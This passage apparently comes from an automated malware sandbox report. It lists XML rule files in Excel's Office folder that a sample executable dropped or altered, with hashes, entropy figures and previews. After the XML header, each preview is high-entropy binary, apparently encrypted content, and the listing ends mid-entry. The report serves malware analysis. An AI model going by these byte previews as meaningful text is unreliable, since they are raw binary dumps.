Preview:	<?xml.{g.KC0.....0..^.\|4.a.a7G..f.t.$}.....~\d..:.H.fs4'43.8...e+........H... -.3.=L.M...H`...n......C...-....Vse%....?.K.f.])..2,...!:....0'.l.9.1...l"..nm.x.G.k'...l.,2.....=\|.5.h...RJ.....M..f...q...t82....~_~[..L.o....V.t1..21.;]tcgq......[...-.K.Bg....V.....j@..G...M.E.O.../...R....OP^yqs....eq......NQ:k.......X.q'..utK"..]HMed.9..E..j..W..GG..].$.\|.8WE....p8.......P.Hj.Q..`+3.C.SY.i........4....3.]..q_....=i.../.a.....1w..\s.7....;..{K.W.O5..H......I.%.Nz.V..1.o.G.1;`.V.=...PQ.3.J6.<{J[.~....(..ca......w.7.v).R...........K.tw^fZ6..P.Nh.....\M.^334..&....4.&^6#G...~...8[...M....{.2...A).4....... .!....-16....M7!A....[...ST....(.....u?.4..7+.....!...0.y..\|..".#`...h..xv]....b.xpT..(...(F!.O.Hk'.n..)....E+..<Y......`.v.;x)....7.%./._.m.!..Td.`...).....h.t\|i.DC....mv...]'#.3.?. ..h.l....o7C....6..[Z.P^(...<..LY.c.4q..1f.....7..).Z<eH....K.g...'.)..k......X....1.....2.......<.0.....4...A}]T...}.x.i...}).N.......4*=...@..~."...v..v..q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.842213465897784
Encrypted:	false
SSDEEP:	24:Ey/uu/0T4jct26ieq9sy8mF3ZY3yq5Fi7i/QyMbNJ68Ww2bD:EyGw0KcVnqwsZYX5F9oyMh/WjD
MD5:	D3C9DBB6F662E80DAAD1A3BBD303EDE9
SHA1:	A97FCBB2806EB5409EE21BE37E63D345BA035738
SHA-256:	4CA6F6D18BCDF8600825BFD4CF8AD6FC6FAFD1FC66737AE51494C97B4E21F888
SHA-512:	B19DD70EC4A5B0AC6D9688D63C40881F3ABB579086E483EB3A54F12CF55CA2676B6E843549C0EEA4402D5ED3D0B1AD723DCC658577EFAC25216E86F048D9FD4A
Malicious:	false
Preview:	<?xmlTh..@.......f..R.....N.k..\V..!..(f.:.@.s=t...W...l......0.:v......m.`x.`2.QN.H....?...1.U.X...].9T'<.....r....N.A.......!X.u0.....2.=...\|(....$..rc.-C....a..z,.............\|j..i.<...J..+.."&._].}..cDW..}..Bd..1....3....A.."..U./..%../I.......a..(Z...p.'.9[[hvr...h...&..........6...t0..a.O.s(..O(..s.;..:..\(.....(...lhZD.....\|T...D.N.`...J.Y?...Y..."...=..ATj.U..[..3"..Q.<&4.)..PTU1,....)...$..].l.F.L...1..+=\|Mj.mn.}QCu..........9...u....j..$V.e._%..O..;. .#F..jX....h..\|......_.f%@........Td ...B../..i... R.2m...`....(,ijG..Bi..U....Pi.[Xz#T..>..fP'......c.o.}./.Y.'l.c..=t.E'wm.".0U./E.U.O-........+.{.i.r.C.=`.3........U.K...].qM0.=.^....~.Z......X .o.RO!9..l.`...e.....O...4...'.....g...p.<#@..e....."...j..o..y...%..w.}.7.3..A.4Un..i.s<V...)..".:...W)..S.52......'..)....x..MD.&X..g..i.@..s....[7M.w.~..Th.........4Dp.^.....$...d.....PUV.6....3..../...4nt._.}.:mV3U.X2.6.......8..5.....w&..9@\.......c....;@=.GE)......X....E...N]<.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.789585709354639
Encrypted:	false
SSDEEP:	24:+xyc/T6iSnFCr8DGHybGSJko87FIqLInQjlYIKVfTQ1n1fV2bD:+xyQTrSI1yZJkL7FIfQYV7G1fuD
MD5:	3F5FC685B7CB8555F49E58BAB8F35389
SHA1:	9982E116B66CC87DCF407E1396932BB187052B87
SHA-256:	EEB18F0D87F6770DB67CE34D43DF72D5915DB00150C15DE840671022AEA3CD46
SHA-512:	D517D7718FC02A1E4947442B469EB2A50262062DD0AE62639281617019530AE5CC04227D97BBE9606CF6FA38DE581FB4CB8F4A62D7351FF0190D89DBA901E0B5
Malicious:	false
Preview:	<?xml.l..0H.{.(.z..lb]..+),.E.U)....\|.g.}.U.......U.&[..~...p)}s...%...{.w.-..b..=.k.3... ..\|.{.?f...R...}.M..R2......[w....m~..8.'%....o[...\Y..I).7.]#MG...9GY....BL..k9V.....>.&.=..~...I../.../....;..Tj$.....9..y.`...g...H..J.6.JS..`l..6.-....Z.S...irxT..j.a..\.e..KLW..q....'I+....1LY....Z.. ......e...A.....m.}H........{3.0...~.....[.$....qi.U.6...s.I....!...qk...0...7.R}......1.4...)..i..B.".NU..M..N.!....2....^.X.3..u....O....z .>O..%.._....._#.Co... T........{.BU....Z@.....).Sx..qq(.Sh.\.46;..2w.).......B..RF.33....>,.KYC..a.<..tU.~....U..l.+. .A..b.K..K7...XLl.)3t..A..p..q....y2../....h.7[.4#..>.Y..3..%zY{...-..."..R.9P......+.L7.:.....).@.m. .\i).h7F.r.......X...\Y..Q....%..C..R...D.\|N.'1n.<O....Y..G.4-..~......]6@Z..:..XrH./..@...zg.!.K{'.<...m.&_I..$,..0....Izl........F../.XCk.o....j%AF"..X.Y..R?..Y.. B9......n7..1H.4_.(...D.Wb...Q...3.3\|.3.!.jY...Y.t....&;g.-o..p;..P-...h.3...J.T.e..]....>mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgj

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.875522689007067
Encrypted:	false
SSDEEP:	24:Yr8HPAzyUzZCnqmy5uTwD2I6TCdb9Fno5/E3CzwrlzuKqekXRnWjfL4C8d+2bD:zHPAJy1su8Dv6TCdb9QOCzw5vqvdi2D
MD5:	EE950E666DE95C6A281D6BD03460DC93
SHA1:	6BE8435F9166620D979701FCCC5429FBB2BE967F
SHA-256:	B5A8C6240EA574748588E329B39ECC8660B93874B39F68A2D5437951656BFF11
SHA-512:	556232E1293EC6FB473F3128C96BCCBAEB7D88D77C083D5CD80F87AC58B9B7B89B5CE9F421D5EBD531F2CD6222638355861194E28D09ACB635E7862F679619FA
Malicious:	false
Preview:	<?xmle",..-..t.4.\...L..9.G;,...j+.3.h.....E5T.+..P.RJ..E..m.....E0.....=\...B.A.Z..G1.G.....O..O.....i.!.....r....'...Y...k.`L...~_...........=.\|=.^.<hwH...:......;.v....p..N.......IX....k+.^N..}.t.a.9.UF&.I$v..V@MRl....vX...K..BY.\...T3.z.V..2......{..0KX.)....U^..?.....3)..GV.?.g.Mjs.....h.D...]....6.......YH..?.))`..2X.~.]..G..x~6.Al..2...\..../AZ....?....J./H[.....M.e.d]./...&..2.r..op.@1...@.T.".j..`n.k...p.....&.2.5.d&\>..R.bR.}qEZ......s..;..E`...d...W:.Y.2nu..a.3..}.;M.4..NbT....].i.W.n.B.B.3........Fp.....&.....m.?..o.(..&..A...>s@^.Q.......`N..+Q.Oqm..._....../..[V.X....8Clj.eo.G;...........TZ..Do....Y....[_.....P.=.<.5.@....W.f...^...n.:....Y.....x-.........uT..G..i{.....\|...).5..H.PQ...0(E....W7?.F....5..A.e#Tg..~....5.}.;..,^.>{.."....^r....0$..{.:z6Y9$....}.._./M}=....s...Fb...q..2P.{.2.YK..mj6.......>m..m.=..G....h..mO.BI1B..te[..RB.a.G`.@.b.p;d@......Z.+........\|r..<1.y.=I.D.K.R..4v.3RKTV.R.......=.......,.&...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.803912288637671
Encrypted:	false
SSDEEP:	24:XBq/NcXYtuv331uHJ1IBVNWAEbxDPNjTSOr+/IJo1W4XjKTNO2gavST2bD:XLXYtMnYHgrNZWtMqGI21WNNLgLAD
MD5:	B3CBD4A2D83153D37E3037EA52AACFD6
SHA1:	F4F94D3F9295B7046F236842E80477281CC028A9
SHA-256:	836CE3C71D727BA6429F4D94914AE0E68CF3A432ABE7D77CDE2B2B4E93B9FCE5
SHA-512:	25293BF872EA831C7CC25FF57C24371F6ABA148A3E035C117542A47FE0650D0D5D60C52499CC92B2BB58E680C0593016E49058D5414A333AC1B72547050D042A
Malicious:	false
Preview:	<?xmlR.I..}.d...0......2%.?.P..Ia......3..I..gQ+...........$..v#.mO.VnY%....w.2"}.2.....0.x.UW....{..t1....}%...3.....i........f.W@R[-...4/.AJ\|&L.M..<.=.....PVs.&.....7.....g?.<<...c.u...)..sY.{'}{.\|8..TO....&4....Z...U.I...i<..w..R..ST~.-J....kvGi`.p.S.{.(....H$...(.I@......V.p..t.'...VD..#6...m..e..QIe...K.{E.......W.;..........[.....A.....;D..}.....Y.......t.....;. Rk....?..#rp..d..y..6.P.s.\|1........r...4vs;lS<..l....:.....{vl....t..j.........j.:.Z 0..L..7.h.(...\...O........]XL....\.b.....y..r=.Ir.w.R0~.h.#.?.E0bc+ >d...+dJ.l..YZL.To......nQ .5../.X.v7.%R..I."\|.........9k.H.5`s..'....~RM..h~.,.{..Jd..~`\.B@.-..R,[..S&\47..Sr.3GU.....7U.....u$.x...].3U.M...zh.........V5=?.}.x..w..3.bF?..MtL2.T..<.#!...\|..L...A...."8.z.1IK.6.B.$.!B0Bn..t7z..l.r...W3X..(\..T.2.vA..@7..g..... k..vu.\Th...U8 .i...q.ZI.w...\Hx3..l.GE..H.Q)6k...,..JU..k....%.h!8..........l..uo9...5...7.U.W...&. 6-[.Ue./..:.O.o.2V.E.I.7g;..4O.?#....\T.h.U..ub A..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.835644867620056
Encrypted:	false
SSDEEP:	24:IqozZvMPoko7glftovzVNWx+fLp0FnSKv/cVftLPoVBrelWQsY5GqcwJkwnpOP2w:JozZmoko7g1tYVNbNqJv/s5PoTqlBjG9
MD5:	ABE78FE910B7B93DCB872BA7953F4882
SHA1:	480ED2FBDD82C9B25BB17061A4F89A5D6897BFB2
SHA-256:	345D9884FD4812FC773ADC4A1907B0BF8DFA84537F767CA83304797F4D27AEDC
SHA-512:	A8C6C3560F89A8DAA96906A9AD6DBB730CD5854A901F832C47CB958E3C1AA229C194B1DFC3036FB7D3F5784ECCF922D0DDA5CB839B522DE2C9F7958DB317FC10
Malicious:	false
Preview:	<?xmlu4..'.."#.GB2.&.}..l..p..V 8..6s.x&.!...z....a.qfm.kd.IX...B..vBs ...f+Ud......q..{....a...\|../2....`.g.~J.......V+[.F.%w...I',b...LfC...<....SC.=..Z.mi a\|.h;p<...R/..4...\|.Z.....a..B\|9.j..E......G..a.+L.Qe...E..6..t...@.Ld...=.........C8.D$.F,2.k..nGN...U..h.+J.!...H..Ya.g.+.MyV.r-.(.....e.XQ..n....T..e......&..Y......h......tRe.F9,.........Y0..^2.K.....c58F.....D.qH.4.6.}.\|!..:.?w.s..u.p.q<.>.RWZ.a.+k.ik..N...../j..m....WM..,g..*.."....0...R.g..._..K./.g.V...S6.5....R..s.Kt.i.._....T.0...]?!....W..=o....<..\|...v.]3S.IprR...Ra.l#..........?.^m..^.C....l.o.W!..?..E5K...>ZX&T..sm...B.....y..Z......<............"r.:D...W)`0....AO.72Dj.Y.".D....Yr/...3{.W"D..&ujU..z..(.C.........Ry.x,.......x'.....n..v..C.f\|..ZbY&...Em...).7.&.A.......Z.r.....f]].(.Q.V....:z}.IPQ...k"]..D.W....L/5.t..@s...3^.+..~9Wh.U..z../..G..2gZ.q.']..9A..\|Y,..1^.l...w;.....IoN4.B..'0..k..7..:....sAw..{5.s.............Y...kl..,...6....~....J.1B..k9..i...ru)... M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.88530076724612
Encrypted:	false
SSDEEP:	48:klc187hAGD7944+2W6dbJVaxfSRbuILy6TC0D:klQ89x1WIyxfSYILy6TCg
MD5:	5306944B0BE1AAA9959AAB8480832014
SHA1:	562B0E0C1487F6B9A942476A95F06595DA20919E
SHA-256:	09BD8640E4DB70732D0DC7A3746135298156CBBC8F35402175BAF50C039FB848
SHA-512:	C785DDCAEA6BF56B4A73536F42E02F2FE3E93CC197946D33FD6F27A37C992374BC3BCBD3448913867D2753B4A171592BF378E5A87366EF57922A67AE7FF2D02F
Malicious:	false
Preview:	<?xml...}.f........j.._...p....t...H..m.....X.._...v'..:..yg...~.#9....G......8.....5Pg....f...3....wO...".X.@.i.4"...IC.Q3J).w..&......!.H.."Xc.....T. =...R..BM7.....L.../9..~T.@...2.aC.3-~.-P.3m..`...i>.Q...2.X..H. ...&.g.d....7.Ls..7H......Rh.xBu.9..Xta.5X........Y...^.a"..$....h.m.D...5.4._........c..P..g.f.....zXX..........M.x..O../.Z9l..=p......m...m.JQ......... g..u...2...ZS..$y+..6yi.;.....FGO.k..e...n79[o...v....p\|69..3.Y...k....7.'.8.W...O.@....%.q.5.....1....x...18D.B.......Q.a..~..K....@.qf` Sk.+Pb....>.../.\|.7...mv....X.gE.i.r;..'.q..Y.X!.aX._.......Y...;X...4.X........6....l, x../-)...Y....8.p..kz....}.... g.9......cvP...H....u.0.Y../..s.D..Oa....Xq...#.]......J.vS.c)......U..6...].FG.>.A.f{.2B_n.......u....L>.R..gQ%..>...q.p0]?L.E.Dxz~.H.a...Mt..Z.?.......`..3..J.Y%F64........%.v.!.-Z...+.z%.M..2...t3...r}..H....pi..j^^U.Z8d2.).[ ...; ........q..3,......`G..:....J..N\.2."Z...-bg...~B....ip...l.t..Q....q..3"Z..n.`....Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.893707838105323
Encrypted:	false
SSDEEP:	24:5ov4jSyTz/8li1DU//Gvf46o9ywAGf82BDhCJ0lJ79sLrkeRpiiID7hX2bD:KwuyHKiA/0g6okwAbShCJAaCX2D
MD5:	C2FC78E64F0F064381B3B336096DE210
SHA1:	D186CA382BC40474CEADFFF08592CBCFFA21764A
SHA-256:	EF23BF4BC585F0AC981AE3BC86122A788C8F1D75A53CB41FB6C9B166C676DEA2
SHA-512:	9253B28563B091A043147057C6082A40C1CA2C041B2C9AA361B8AE63CA1795ADD6C0776615A6E5FEA7EB317AF112D2BE0D769899847F25B8A3FF1A705DA4B010
Malicious:	false
Preview:	<?xml....7.]4.H...9X%W.\....?.-.;.0......6d.5#.....6. V.....f.G/.7.<.0...T~..ca~./....vi...g..y.#.o..CK......l. .u.T....c..c.r4...p.r.T.6\|..I.o..[$)....5c....7..A.1.Nk.U.<.N..(...`.a.j8.)\|.-...3.Hi6....y.Z..F........Y..6.....i"..5.t.>..3....G..9).....I..^:...)...;..l..%..$..$. ......,j:.......H.N.O...8..\".....6....H....Y.\h..Z..Tf.~,.....d.Ui..?3.JX.,.L}.E...#.....9"."8s.d.t0....W.h.}..e.HM.>}}.......Kp....W2....a4M..u.l.(j.O..;-....qI.tC.......We..U.&.....yj...x'.m....t.4{..O.^...D...3.Q.1....<...\.:.....G'....``.3}.....I...k..ZR..K...z..o..R..#.......u.....&Z......es_$...mb-.S...15L...K...'.h......3."`...s...jD0.2`..4C....)...z.]...<.....@.B..,u.SJs.y......B.W%T...a...z..1..}...%U..5...$.X..nV.[.J. .,....U@.L.t....,Y....G....1.....J/#..n..G.2.....:2_7.(]n.......:......$....W...3.S....L9!..X.0.....=.....DW...Y`u.k..a"V.%.OA^.q\|b......]....R........K...w...`!.t5d...K.FV).T..rO*.'..:w...NW..`\-.@.................J..`...G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.861148686167694
Encrypted:	false
SSDEEP:	24:4DFSEViYWGC0pcJMDfQuhjIzrQx76XZ7YUjRIRPRauOLQVwPZR96sYOwRu2zn34w:AFSqNtCSsKfQuhj6IYZ799SZaukQVA92
MD5:	461647DE6C46BB83241B2383EA114533
SHA1:	5E1EDF3B631F0956E9733C86D525877353E11E40
SHA-256:	A5E2C6E02151BE3F87D59305D150211CC795A098C314F8673A8AEAFF1D1B0B5A
SHA-512:	72833C640A823313848D63D7CC6E64397952BB7C78260607524C03B49D4876144B67C6158AD81D079B845CF1871335A757B45F1A7BDECB30C85175BDB5F74B5A
Malicious:	false
Preview:	<?xml/...Ik.L...h..zcA..(...O.B..s.....^.a:,Iy.-...:k22...-... z..e,...0....+.0..X...E8....1..V....!...=. ............Q..;.".g..a.....G.7..a...A...;.+d...3a...z............jD...:...3Z.#..?;..`.3.....!..k.(...2..v.EM.........MF..!.g.....t.....-.l....P8.r.f.!h.,K.C..?....0..`....D..-(.e.v...[h.>S..nS..L.N.w-....(H.XqF.q%.w....J^....h..R.......6.~..S..-...........t.i}+\|...6I&..9.....d.1me..S..%s.H.>.,A....u..O.W.mL......f........'....1.....c..TQ..I!ri.3.....b.......yq..P.w{.6k+..<..L...)...i..S.T..L.$t].M$....3....;...a...L.g\.c[ ....H(.....)..4fN....F.....h=a.Yw<.i.W.........<.@..;#..54.=.tCj..j..C...g.g..FD.).S..y{o`sm... ..j..E'y.....-b.h...vVCB....=....\|....T.c.c...........p=(D................F.+.X. ..>.wkZ..........#.fle.P..O.. ]..m.....,$..m@.......E. <'."^....."r.......5..m....R.. T.+..2.M...s.\.).......b.Z.T.Z*..~..sx.2.0Eh..Rel....vQ..0B0.V...~A..-.........-?.....9.};.ho.1n.)...... #.m0g)..nB...w.E...TJ......)...6.......P..m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.796285401951562
Encrypted:	false
SSDEEP:	24:L/8P//zHMFhXoIxABebdwunzjGce7bZyyTU56XFh2bD:on/zGxABXFR9yT56MD
MD5:	7FA4556B0A012D16D17BBD31942E9B8F
SHA1:	204D341DBE05297A9D62BD2A1B9C53E907FA079A
SHA-256:	F7FE6D38F0A7B99355664DD4205A3CC2D95DF04F9798823FF9C5A354EFBBB4A9
SHA-512:	DC5E52C44BD9BCC65F444B35015829036CCBF2862595BAF7FBC81E11A285AE75BD7F7ACC5FD57B4E3B083C241393BA415917802B3606530D7DC5977B810D6B4F
Malicious:	false
Preview:	<?xml..qj.........iD."...4:.@.w<....h9s.6.j...:Or<......&.;.=..%D...H.......k>V.?.+/3e...6.......u..\.../.\|.hO...q?...X[.Oe\.-l..g...I.?.\|<.H.....;....0..%........y.;.,% 6..%....;...........D$.?...$.q@EG.^..C....j....s.#.........&....j..w.8....i..4....y.....6.....V..d.f.M.4W.r..,s[..5..8.s.QS.K..A...............j..{...;.........fL.....=6..wN~.G.....4...EE.#......\|..)).&05}2.\|.P.W.=.4.^\|....wL...)0..$.6.\..5..RA._z.o...J.vDL^.u.......[.q..r.0.[...*.;.....7.l.~......Ig.q=1:kJ...:.....,7....Po8.'.o.rc.....d......K.Mz.Gm.6..w2T8..UPh.&.............1.G...Ye.\t...k.W.....c..g.<....s....{!j..P...\|.?......?..F.ss..!(...d$.....[.v.\|59.=@..O..".Xx1T7.[..I..!.....Y\|.x...n......[Y^...e.{.q..?..1.z.....'......Ym.jJ.\...a.kf<......#.X..hy.Y....b.I@..\...j.G..j..3.#.u..e...Mk.S`.....9..f4A.s.q..,...C.].Be.+.[....tU}.Q.yj-......8..i./%.E:...U.o.utl...!......2.3..$?%^$&..{...s.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.952755301077449
Encrypted:	false
SSDEEP:	96:+++FttL0YP9ZCXhKkpzjUaCmd6a694rlRvOri2vipiPw:5+FttIYPzCMvHaW4ZBTcsiPw
MD5:	7404B64F7F11C3447DA4338290D01433
SHA1:	49AF0B1104AF6B1CCC218C16A651C0AE24019909
SHA-256:	926F967EBCDAD25490EB95FD180ED65F118183F48B2222D5E91BD5B22547E051
SHA-512:	3406F4851F429DBCF80E3B2DD64100EDE28337F71044B490AE2DD0D13EBF97754AE2906E8D2E852B2BADD8632B0DF45CC8B99C4F137CAFBBD88E48D7306F6261
Malicious:	false
Preview:	<?xml.b...L.V.w5..W..<............4X....~.gH'.P....)...w.?Us.CZ.....nM...(..@.C.q.%.].#..u....^0.~.q......k%&{.YX.R..J....-.[.R..2k. .fO0.e..E.....s.xU....t....-...z\|y..v.2.h1....._W.@$y....].(v........B..,.....zp.,..B}..e7...]....v....k.d.8....=j.s..>85>{.ah.........C.V...eR.aU...f.~.W..O...?........a...........&D....I;.j\|..D5.i....m.^.$..au1[n(......L.1.....Y....j....U..x..v..xd....C7..-...@....P..w.^+kV..%..a..'.Cy...ah....H.y...w..xP.M7...e(.l.g.z..7lP....7..6b}..A.....z..i.z~..n.eW..{.......j.C..t..~..#.D.....j..RI..xO&>...!...y..q@S+........+...:.%".'\......:.O.7.(..,...."I.VqO.QU....3....7:l.....E@.....Z.?..:...\|.CB.hf..?$1....5e..`.j...U(.4.W.......*..d....L..Z..E......=....N&.#Xx..]...L.}..s.$...L......RA'...w.....T.....I....vFV...s1....z..i.....T.1...u......H.N.....<.m.....mV..>.G.R.u..T...rR..5.q.qMo...5@w...D.."LHJd.......{...A,.i....e..9..R.z.Y'.r.?..c....%..+.r..4de.{.B.t.....m&...\|-o......PD&W.I}..>..=.......O'...l...(.(.w...R.p.!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.940523118163703
Encrypted:	false
SSDEEP:	48:jzZAa85lFfX6gAF/he0Q8SZGvLjKGupNZvMvm2QsaqJWpHJhZcLV44wMKiw/tVD:j9Aa85bF8heP8UeTQUvt/R4phd4w3
MD5:	AB9CF3D4F964048A2734BB4D259358D1
SHA1:	2AB453E1EFA28588D5AB2081AC61E0F2ADCC6884
SHA-256:	0C10D8FF4CE462E7A1AEA9346F17B96EABD24AC7F6380C163DDD5C0C2F0FDF93
SHA-512:	469181DD88BBF1CA476942905F0E605AE684391D229D36258F805D11DE79EEBBC7DA871586E62E01E6DD601BC42D281D54FF3972BD1E4EDEAE15FAA855F13375
Malicious:	false
Preview:	<?xml.;..\|.M..^..A.V."....<.~..9[)..:. Q...+..T..r.."..Z.........f...U&u}...(... 0Q_.$..SV.h7...?....b...\|....2?.g.\......Y.a.....{...=...R'.Z"...0..:F...._V.7.Q....~.L.$.x,.n...W-7T.....>....>g.K..&.h9 '.... ...J.2.P.^.zktx.-...^n..Z{[..sJ.$..Bp..~.3...+:.....ze.....d.N.}.Z..+...Sa\..8....'...K4g:.$6.Z....\|.......]y..{.e......M..7#3k....b..X..S.D`....W....+}LZaR.....o....w..3.k....5c..Q.}..s.}i..s.z.t.x9.w/...[.!..F.Z....gC....@...6.j.L\|.u.1.O2n=,....B.~..,SE...T.sKb.>H.k..0..f.r.\|....P..p.T..;..1A...t.T, .\|....+9.t..._Ex.Ol.{..-......B...D..z..S...I..&PJ...W..1..y..p..{....H. .>.wR....v.K.P..r..4`.6.6...,Z\5..U..#...}.wO..~*...H"....C.6.>..(...+..9......7...!..`./T."....b...ZCpE...A.n..\|...0f.rgHnED_.d.T!..I..c=_;.....I(c..HUiy}..%p..<...u(.<A!:1..]ghvcz..+/[n..SF..L...0.ed.tr..:.c..ARi...A......(...Y...I...X.1D...s.-:..B...W[.-,s.5=.....0._4.....h.H.3\..y\|.....Zx....5...T.G.!..lc..\.h>..2.=....q...q./.......L".....{...P..B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.946362688059759
Encrypted:	false
SSDEEP:	48:M4RfPW7oracJIn8u2nO435x/WOge58mjElSGUR30epWCRf55AYBoIotD:M8W7orJJIn8u2O43AFsb0eoCRE9IoV
MD5:	97394552BFB677C3E731B978346F2D59
SHA1:	B960A97C1C7C01B94BB6BD10D8AFA6ED28C21CCB
SHA-256:	1B8FB051F660F6A5E02B6720BE1B5FF06FD2B4937DFFB616BBE009B02395BD92
SHA-512:	677D3918C648BCEB5F09FC1AEF24CCBA03B1742A961DBD66E3C67A0B06DA3C3C7E42F9C8F37AFA64A26FBB014F74B38A54BE4B25B0FCB1615FCC0CA589FC6FAB
Malicious:	false
Preview:	<?xmlX6.....%>..m.....{/..+......#..kH.b.#.?8I..].O......O@.y......v\..0Ih...in..'zy.\|P....s....:.m.....K5..X%5.n..P...,....jNy@..q.w.c...w.......,.>%....4..J...!.w......,E.*'.....YP....Y..G..9....@.H.L....UG:=...x........~..LR..cA3....0\6..?%D...X....h.(..7....K..S@.......3...'..._,.p.n.....6)M...P..!J....}...\.j0dk...@...NJ6M..Q..<fx.6...^.......Y3......G...)..R......#...e%B..L.lWwy.F3..Cw...(...X...,`....R.....I..".(;...\|..\...~.b..,\|T....M$..$.\...[8..A.[$.;...9'-...M..0..Ez....\|..IBm.k.A..m.E.rJ.T....S.5fci:.akH...>..r.$..] .....3N.....).../.._..9B.T.Ng1B).y.0.h.o..^...g....de....4.....C...~.....8.,og:....}(.!.....S.I_...'@..M.?..`......5.....<...]!..Z../.....G...E..m...h.\|.n...8.7R.i.1.q1...Pd.lB.....-Q..,...C)C....'`......E}..'...<._..J..G.w...7.t.F...BbQ.6..<..xi...j....'......f.^..{......vk..;..{..D..sI].I.E..pp.:{..s..w...Y+..M...$..+....P..Xv`..-...&w..X(... ..n..Z.13.'V.....X..lr.B......F..L(...U..&Up...1....3t..(w.v._{.G.j....3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.838964681647317
Encrypted:	false
SSDEEP:	24:+siVWle3BEx71B+13dK5i1QoScpHnkYLTGhtJJG1g6Ukgk2bD:+3wlWS71B+19QUHkAyT41Z0D
MD5:	07AAA48E3197DFC8064B995E4E78CD58
SHA1:	44FECE2A2B2D2FE9A26C7B302EF31844DF02711E
SHA-256:	9B7322A94C2A80294B65FA00CE78F4301CFD025BED58A8038245D475EC7F03B4
SHA-512:	0C4111226C4C9BE94606A8D7970BCA061C7E32197CD39231DBCAACAA8579F5A5C8F55211F20C865CF43B6F27B10A374B77D0B873352883A0BB82E0B6E73F3E16
Malicious:	false
Preview:	<?xml..p4.J. .%..#...IP.Nd....".y......\|R....m.;r. 1?..@z@V....{...^.X%...r.....A.Ma....."....3...O\|..n.N...d..p.ua}.cM....TO.............,v......}3S@pT.6."..Mz.6.....,F..6.].{4V.ia.%..C.`..d.......S.T....'.ToW"^.].7rO...F.....MG;A....B'......7~G8..&...<`tsU..u..xm.&...aw.....L...-Q'.....@$..$.W..A.,..p.}.....(SZ..:.5a8Psh&....V...y....:.).}...V&.m.q.Q<.x.........GKR%EP@.#~..(......o"...!4...ZH..dEd.T.......JP.%]...3...#..X..?.Q5.5=.Z..'t.u..8.~1G.s0,.W..?h.....P;.B.I.a.bO....^.00.d..t$H.jz>m.b..^'3.........z..w.x.............,g4ma.6..N+..]t.c..m..P._...u..y.n.L..........3^....P.i..p..9.v......v.y.T..=.]o.',......D..Y.....{....Hb.!... .i.?.L....g.....C.Xup..?.b...-.....-+...o.L..i>.1......x..Q...v..fG.....$.?wt.9hhS..........5.....S...K..........4`P.;..f.Y.mw...?.z....YX......1.l..Q.x....gm=J4.......:...!..l...(B..R.Q.K?...._.T...("...<...n...6.tW.....N..i.-~a..X.y.a5....^e..-.Rs..D.e.B.Vt.......vx.tdbl..cx...(..g.../axV0GN$)i(.,>Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.922038469849257
Encrypted:	false
SSDEEP:	48:1WrkrXKZBNMund3obT31dMaaUhI2Oq4cVFQ7aAj6b5TSe0z0lD:1WrkrXABDd3obpdMaaRJqd0aAjO5TS3q
MD5:	3A8D9477FE08D5F75E783509318A2FB3
SHA1:	64B27F99535E9A1B7F24F2CF0FEEADC7DDC10AFA
SHA-256:	903DA6073BAB79026CA89624E12E8BA16F2AA3DF27D7FEEDC05C48F7039F4423
